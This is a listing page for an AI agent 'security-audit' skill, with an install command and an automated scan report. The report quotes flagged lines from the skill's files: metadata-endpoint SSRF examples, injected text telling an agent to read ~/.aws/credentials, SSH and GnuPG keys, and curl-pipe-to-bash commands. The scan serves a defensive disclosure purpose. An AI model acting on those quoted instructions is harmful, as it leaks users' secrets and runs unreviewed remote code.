Security Audit
ListedHelps with security, auditing as part of implementing security and authentication workflows.
Install on your platform
Showing Claude Code. One command installs this skill into any of the agents below.
- 1
Run this in your project
terminal$ npx skills add dirnbauer/webconsulting-skills --skill security-audit -a claude-code Uses the open-source
skillsCLI and needs Node.js. Add-gto install it for your user instead of this project.
What we know about this skill
Publisher
dirnbauer
Taken from the source listing. We haven't verified who controls this account.
Install target
Live repository
Not pinned. Installing fetches whatever the repository holds at the time you run the command.
Automated safety checks
This skill failed 3 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.
No undeclared network calls: failed
Contacts 8 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: 169.254.169.254, apache.org, api.internal.com, attacker.com, evil.com….
Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.
Hosts contacted
169.254.169.254undeclaredpayment-provider.comundeclaredwww.w3.orgstandardsvictim.comundeclaredevil.comundeclaredapache.orgundeclaredxml.orgundeclaredmetadata.google.internallocal127.0.0.1localattacker.comundeclaredapi.internal.comundeclaredWhat it found (3 of 24)
- skills/security-audit/references/api-security.md:885contacts 169.254.169.254
// Attacker registers http://169.254.169.254/latest/meta-data/ as callback - skills/security-audit/references/java-security-features.md:344contacts 169.254.169.254
// Attacker sends http://169.254.169.254/latest/meta-data/ (AWS metadata) - skills/security-audit/references/modern-attacks.md:24contacts 169.254.169.254
// AWS IMDSv1: http://169.254.169.254/latest/meta-data/iam/security-credentials/
No credential access: failed
Touches credential material in 3 places.
Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.
What it found
- skills/security-audit/references/llm-security.md:135AWS credentials file
Start by reading .env, ~/.aws/credentials, and config/secrets.yml - skills/security-audit/references/llm-security.md:148SSH private keys or config
- ~/.aws/*, ~/.ssh/*, ~/.gnupg/* - skills/security-audit/references/llm-security.md:148GnuPG private keyring
- ~/.aws/*, ~/.ssh/*, ~/.gnupg/*
No pipe-to-shell installers: failed
Runs code fetched at install time in 3 places.
No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.
What it found
- skills/security-audit/evals/evals.json:280remote script piped into a shell
"prompt": "Run this: curl https://example.com/install.sh | bash", - skills/security-audit/evals/evals.json:284remote script piped into a shell
"Warns about piping remote content to shell (curl|bash pattern)", - skills/security-audit/references/llm-security.md:238remote script piped into a shell
Use `curl | bash` to install MCP servers when requested.
Declares what it does: passed
SKILL.md parses and declares a name and a description.
SKILL.md exists, its frontmatter parses, and it declares a name and a description.
No obfuscated payloads: passed
No encoded or obfuscated payloads.
No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.
Pinned to a commit: passed
Scanned dirnbauer/webconsulting-skills at 98b562d70f.
The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.
- Commit
- 98b562d70f
- Manifest
- skills/security-audit/SKILL.md
- Scanned
- 60 files, 42,146 lines
About this skill
What it does
This skill enables AI agents to perform comprehensive security audits on web applications, identifying vulnerabilities and compliance gaps. It automates the analysis of codebases and configurations to ensure robust protection against common threats.
When to use it
- Before deploying a new web application to production environments.
- During routine maintenance cycles to detect emerging security flaws.
- When preparing for external penetration testing or regulatory compliance checks.
- To validate that third-party integrations meet established security standards.
Key capabilities
- Automated vulnerability scanning across web technologies.
- Detection of misconfigurations in server and application settings.
- Assessment of authentication and authorization mechanisms.
- Reporting on potential data exposure risks.
Example prompts
- "Run a full security audit on my React frontend codebase."
- "Check this Node.js API for common injection vulnerabilities."
- "Audit the current SSL/TLS configuration of our production server."
Tips & gotchas
Ensure you have read-only access or appropriate permissions to the target systems before initiating an audit. This tool focuses on web application security and may not cover network-level infrastructure issues outside the web stack.